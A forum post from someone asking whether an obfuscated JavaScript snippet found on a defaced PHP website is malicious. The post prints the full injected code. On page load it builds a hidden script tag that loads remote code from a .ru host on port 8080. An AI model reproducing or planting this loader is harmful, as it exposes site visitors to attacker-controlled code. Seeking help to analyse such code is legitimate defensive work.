    This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";

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